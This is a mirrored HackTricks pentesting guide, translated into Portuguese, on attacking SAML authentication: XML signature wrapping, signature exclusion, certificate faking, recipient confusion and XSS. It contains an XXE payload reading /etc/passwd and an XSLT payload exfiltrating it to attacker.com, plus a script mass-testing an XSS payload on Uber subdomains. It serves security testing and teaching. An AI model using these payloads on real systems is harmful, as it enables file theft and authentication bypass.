Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-24 21:53:54 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/saml-attacks/README.md
Translator workflow c928d8e52e Translated to Portuguese
2023-06-06 18:56:34 +00:00

21 KiB
Raw Blame History

Ataques SAML

Ataques SAML

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Informações Básicas

{% content-ref url="saml-basics.md" %} saml-basics.md {% endcontent-ref %}

Gráfico de Ataques

Ferramenta

SAMLExtractor: Uma ferramenta que pode receber uma URL ou lista de URLs e retorna a URL de consumo SAML.

Round-trip XML

No XML, a parte assinada do XML é salva na memória, em seguida, alguma codificação/decodificação é realizada e a assinatura é verificada. Idealmente, essa codificação/decodificação não deveria alterar os dados, mas com base nesse cenário, os dados verificados e os dados originais podem não ser os mesmos.

Por exemplo, verifique o seguinte código:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
  <Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Executando o programa contra o REXML 3.2.4 ou anterior resultaria na seguinte saída:

First child in original doc: Y
First child after round-trip: Z

Assim é como o REXML viu o documento XML original do programa acima:

E assim é como ele o viu após uma rodada de análise e serialização:

Para obter mais informações sobre a vulnerabilidade e como explorá-la:

Ataques de Envoltório de Assinatura XML

Documentos XML contendo Assinaturas XML são normalmente processados em dois passos independentes: validação de assinatura e invocação de função (lógica de negócios). Se ambos os módulos têm visões diferentes dos dados, uma nova classe de vulnerabilidades chamada ataques de Envoltório de Assinatura XML (XSW) existe.
Nesses ataques, o adversário modifica a estrutura da mensagem injetando elementos forjados que não invalidam a Assinatura XML. O objetivo dessa alteração é mudar a mensagem de tal forma que a lógica de aplicativo e o módulo de verificação de assinatura usem partes diferentes da mensagem. Consequentemente, o receptor verifica a Assinatura XML com sucesso, mas a lógica de aplicativo processa o elemento falso. O atacante, assim, contorna a proteção de integridade e a autenticação de origem da Assinatura XML e pode injetar conteúdo arbitrário.

Do pedido SAML:

XSW #1

Um atacante pode adicionar um novo elemento raiz onde a assinatura é encontrada. Portanto, quando o validador verifica a integridade da assinatura, ele pode notar que verificou a integridade do Response -> Assertion -> Subject, e pode ficar confuso com o novo Response -> Assertion -> Subject malicioso em vermelho e usar seus dados.

XSW #2

A diferença com #1 é que o tipo de Assinatura usado é uma assinatura destacada onde XSW #1 usou uma assinatura de envoltório.
Observe como a nova estrutura maliciosa é a mesma de antes, tentando confundir a lógica de negócios depois que a verificação de integridade foi realizada.

XSW #3

Neste ataque, uma Assertion maliciosa é criada no mesmo nível que a assertion original para tentar confundir a lógica de negócios e usar os dados maliciosos.

XSW #4

XSW #4 é semelhante ao #3, exceto que, neste caso, a Assertion original se torna uma filha da Assertion copiada.

XSW #5

No XSW #5, a Assinatura e a Assertion original não estão em uma das três configurações padrão (envolvida/envolvendo/destacada). Neste caso, a Assertion copiada envolve a Assinatura.

XSW #6

XSW #6 insere sua Assertion copiada na mesma localização que as #4 e #5. A peça interessante aqui é que a Assertion copiada envolve a Assinatura, que por sua vez envolve a Assertion original.

XSW #7

XSW #7 insere um elemento Extensions e adiciona a Assertion copiada como filha. Extensions é um elemento XML válido com uma definição de esquema menos restritiva. Os autores deste artigo desenvolveram este método em resposta à biblioteca OpenSAML. O OpenSAML usava validação de esquema para comparar corretamente o ID usado durante a validação de assinatura com o ID da Assertion processada. Os autores descobriram que, nos casos em que as Assertions copiadas com o mesmo ID da Assertion original eram filhas de um elemento com uma definição de esquema menos restritiva, eles foram capazes de contornar essa contramedida específica.

XSW #8

XSW #8 usa outro elemento XML menos restritivo para executar uma variação do padrão de ataque usado em XSW #7. Desta vez, a Assertion original é a filha do elemento menos restritivo em vez da Assertion copiada.

Ferramenta

Você pode usar a extensão do Burp SAML Raider para analisar o pedido, aplicar qualquer ataque XSW que escolher e lançá-lo.

Artigo Original

Para obter mais informações sobre este ataque, leia o artigo original em https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf

XXE

Se você não sabe que tipo de ataques são XXE, leia a seguinte página:

{% content-ref url="../xxe-xee-xml-external-entity.md" %} xxe-xee-xml-external-entity.md {% endcontent-ref %}

Devido ao fato de que as Respostas SAML são documentos XML deflacionados e codificados em base64, podemos testar XXE manipulando o documento XML enviado como a Resposta SAML. Exemplo:

<?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY    file SYSTEM "file:///etc/passwd">
   <!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
  <samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
  <saml:Issuer>...</saml:Issuer>
  <ds:Signature ...>
    <ds:SignedInfo>
      <ds:CanonicalizationMethod .../>
      <ds:SignatureMethod .../>
      <ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
    </ds:SignedInfo>
    <ds:SignatureValue>...</ds:SignatureValue>
[...]

Ferramenta

Você também pode usar a extensão do Burp SAML Raider para gerar o POC a partir de uma solicitação SAML para testar possíveis vulnerabilidades XXE.

Confira também esta palestra: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT via SAML

Para obter mais informações sobre XSLT, vá para:

{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md {% endcontent-ref %}

A Transformação de Linguagem de Folha de Estilo Extensível (XSLT) é uma linguagem Turing completa para transformar documentos XML em outros tipos de documentos, como HTML, JSON ou PDF. Um aspecto importante a ser observado aqui é que o ataque não requer uma assinatura válida para ter sucesso. A razão para isso é que a transformação XSLT ocorre antes que a assinatura digital seja processada para verificação. Basicamente, precisamos de uma Resposta SAML assinada para realizar o ataque, mas a assinatura pode ser autoassinada ou inválida.

xslt

Aqui você pode encontrar um POC para verificar esse tipo de vulnerabilidades, na página hacktricks mencionada no início desta seção, você pode encontrar payloads.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
  ...
    <ds:Transforms>
      <ds:Transform>
        <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
          <xsl:template match="doc">
            <xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
            <xsl:variable name="escaped" select="encode-for-uri($file)"/>
            <xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
            <xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
            <xsl:value-of select="unparsed-text($exploitUrl)"/>
          </xsl:template>
        </xsl:stylesheet>
      </ds:Transform>
    </ds:Transforms>
  ...
</ds:Signature>

Ferramenta

Você também pode usar a extensão do Burp SAML Raider para gerar o POC a partir de uma solicitação SAML para testar possíveis vulnerabilidades XSLT.

Confira também esta palestra: https://www.youtube.com/watch?v=WHn-6xHL7mI

Exclusão de Assinatura XML

A exclusão de assinatura é usada para testar como a implementação do SAML se comporta quando não há elemento de assinatura. Quando um elemento de assinatura está ausente, a etapa de validação de assinatura pode ser completamente ignorada. Se a assinatura não for validada, qualquer um dos conteúdos que normalmente seriam assinados podem ser adulterados por um atacante.

Ferramenta

A exclusão de assinatura começa interceptando a resposta SAML e clicando em Remover Assinaturas. Ao fazer isso, todos os elementos de assinatura são removidos.

sig-exclusion

Com as assinaturas removidas, permita que a solicitação prossiga para o destino. Se a assinatura não for necessária pelo serviço

Falsificação de Certificado

A falsificação de certificado é o processo de testar se o Provedor de Serviços verifica se um Provedor de Identidade confiável assinou a Mensagem SAML. O relacionamento de confiança entre SP e IdP é estabelecido e deve ser verificado cada vez que uma Mensagem SAML é recebida. O que isso significa é usar um certificado autoassinado para assinar a Resposta ou Declaração SAML.

Ferramenta

A extensão do Burp SAML Raider será usada.
Para falsificar um certificado, comece interceptando a Resposta SAML.
Se houver uma assinatura incluída na Resposta, use o botão Enviar Certificado para Certificados do SAML Raider.

send-cert

Depois de enviar o certificado, devemos ver um certificado importado na guia Certificados do SAML Raider. Uma vez lá, destacamos o certificado importado e pressionamos o botão Salvar e Autoassinado.

sent-cert

Ao fazer isso, é gerado um clone autoassinado do certificado original. Agora é hora de voltar para a solicitação interceptada ainda retida no Proxy do burp. Primeiro, selecione o novo certificado autoassinado no menu suspenso de Assinatura XML. Em seguida, use o botão Remover Assinaturas para remover quaisquer assinaturas existentes. Finalmente, use o botão (Re-)Assinar Mensagem ou (Re-)Assinar Declaração (qualquer um é mais apropriado em sua situação específica).

remove-sig

Depois de assinar a mensagem com o certificado autoassinado, envie-a em seu caminho. Se autenticarmos, sabemos que podemos assinar nossas Mensagens SAML. A capacidade de assinar nossas Mensagens SAML significa que podemos alterar valores na Declaração e eles serão aceitos pelo Provedor de Serviços.

Confusão do Destinatário do Token / Confusão do Alvo do Provedor de Serviços

A Confusão do Destinatário do Token / Confusão do Alvo do Provedor de Serviços testa se o Provedor de Serviços valida o Destinatário. Isso significa que se a resposta fosse destinada a um Provedor de Serviços diferente, o Provedor de Serviços atual deve notar e rejeitar a autenticação.
O campo Destinatário é um atributo do elemento SubjectConfirmationData, que é um filho do elemento Subject em uma Resposta SAML.

O elemento SubjectConfirmationData especifica dados adicionais que permitem confirmar o assunto ou restringir as circunstâncias em que o ato de confirmação do assunto pode ocorrer. A confirmação do assunto ocorre quando um partido confiante procura verificar a relação entre uma entidade que apresenta a declaração (ou seja, a entidade que atesta) e as reivindicações do assunto da declaração.

O atributo Destinatário encontrado no elemento SubjectConfirmationData é um URL que especifica o local para o qual a Declaração deve ser entregue. Se o Destinatário for um Provedor de Serviços diferente daquele que o recebe, a Declaração não deve ser aceita.

Como fazer

A Confusão do Destinatário do Token SAML (SAML-TRC) tem algumas condições prévias para que possamos tentar a exploração. Primeiro, precisamos ter uma conta legítima em um Provedor de Serviços. Em segundo lugar, o SP-Alvo deve aceitar tokens emitidos pelo mesmo Provedor de Identidade que atende ao SP-Legítimo.

O ataque é relativamente simples se as condições forem verdadeiras. Nós autenticamos no SP-Legítimo via o Provedor de Identidade compartilhado. Então interceptamos a Resposta SAML em seu caminho do IdP para o SP-Legítimo. Uma vez interceptada, enviamos a Resposta SAML que foi destinada ao SP-Legítimo para o SP-Alvo em vez disso. Se o SP-Alvo aceitar a Declaração; nos encontraremos logados com o mesmo nome de conta que temos para o SP-Legítimo e teremos acesso aos recursos correspondentes do SP-Alvo.

XSS na funcionalidade de Logout

(Acesse a pesquisa original aqui)

Depois de realizar a força bruta de diretórios, encontrei a seguinte página:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

É uma página de logout, eu abri o link acima e ele me redirecionou para a seguinte página.

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

O parâmetro base está recebendo uma URL, então que tal substituí-lo pelo clássico javascript:alert(123); para acionar um XSS.

Exploração em massa

Usando o SAMLExtractor, que pode receber uma lista de URLs e, em seguida, fornecer a URL de retorno (SAML consume), decidi alimentar a ferramenta com todos os subdomínios de uberinternal.com para ver se há outros domínios que usam a mesma biblioteca e havia.

O que fiz em seguida foi criar um script que chama a página vulnerável oidauth/prompt e tenta o XSS e, se minha entrada for refletida, ele me dá uma mensagem vulnerável agradável.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
            for url in urlList:
                url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
                request = requests.get(url2, allow_redirects=True,verify=False)
                doesit = Fore.RED + "no"
                if ("Fady" in request.content):
                    doesit = Fore.GREEN + "yes"
                print(Fore.WHITE + url2)
                print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

Referências

Os ataques foram obtidos em https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/
Você pode encontrar recursos adicionais e write-ups em https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥